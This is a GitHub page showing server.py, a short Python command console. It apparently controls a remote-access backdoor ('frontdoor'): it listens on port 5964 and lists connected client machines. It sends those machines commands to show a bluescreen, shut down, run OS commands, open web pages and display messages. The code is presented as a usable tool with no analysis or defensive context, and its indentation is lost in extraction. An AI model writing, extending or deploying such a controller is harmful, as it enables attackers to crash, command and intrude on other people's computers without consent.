-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.py
52 lines (41 loc) · 1000 Bytes
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import frontdoor
sock=frontdoor.Server()
sock.setbind("0.0.0.0", 5964)
sock.startloop()
while True:
inp = input("> ")
sock.check()
#no select
if inp=="help":
print("""
list
select (index)
shutdown (index)
---------selection----------
info
bluescreen
os:(index)
wb:(index)
msg:(index)
""")
if inp=="list":
if type(sock.clientlist())==list:
print("\n".join(sock.clientlist()))
else:
print(sock.clientlist())
if inp.startswith("select "):
try: sock.select(int(inp.split(" ")[1]))
except: print("select need number")
#select
if inp == "shutdown":
sock.shutdown()
if inp == "info":
sock.send(inp)
if inp =="bluescreen":
sock.send(inp)
if inp.startswith("os:"):
sock.send(inp)
if inp.startswith("wb:"):
sock.send(inp)
if inp.startswith("msg:"):
sock.send(inp)